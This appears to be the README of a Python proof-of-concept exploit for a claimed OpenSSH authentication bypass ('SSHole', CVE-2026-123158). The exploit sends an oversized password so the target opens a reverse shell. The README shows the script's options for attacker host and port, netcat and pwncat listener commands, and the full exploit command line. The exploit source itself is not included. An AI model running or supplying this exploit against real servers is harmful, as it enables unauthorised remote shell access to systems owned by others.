
Python proof-of-concept for the CVE-2026-123158 SSHole OpenSSH authentication bypass, sending an oversized password to trigger a reverse shell to a listener.
Here is a PoC for the SSHole Authentication Bypass in OpenSSH.
Help
python3 CVE-2026-123158.py -h
usage: poc.py [-h] --lhost LHOST --lport LPORT --target TARGET [--port PORT] [--user USER] [--length LENGTH]
CVE-2026-123158 SSHole PoC
options:
-h, --help show this help message and exit
--lhost LHOST Local host
--lport LPORT Local port
--target TARGET Target
--port PORT Target port (default: 22)
--user USER SSH user (default: alpine)
--length LENGTH Password length (default: 300)
Listener
# Pwncat
pwncat -l $LOCAL_PORT
# NC
nc -lvnp $LOCAL_PORT
Exploit
python3 CVE-2026-123158.py --lhost $LOCAL_IP --lport $LOCAL_PORT --target $TARGET